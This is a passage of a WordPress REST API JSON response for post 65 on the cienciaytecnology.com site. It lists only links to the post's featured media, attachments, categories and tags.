dmedia":[{"embeddable":true,"href":"https:\/\/cienciaytecnology.com\/wordpress\/wp-json\/wp\/v2\/media\/766"}],"wp:attachment":[{"href":"https:\/\/cienciaytecnology.com\/wordpress\/wp-json\/wp\/v2\/media?parent=65"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cienciaytecnology.com\/wordpress\/wp-json\/wp\/v2\/categories?post=65"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cienciaytecnology.com\/wordpress\/wp-json\/wp\/v2\/tags?post=65"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}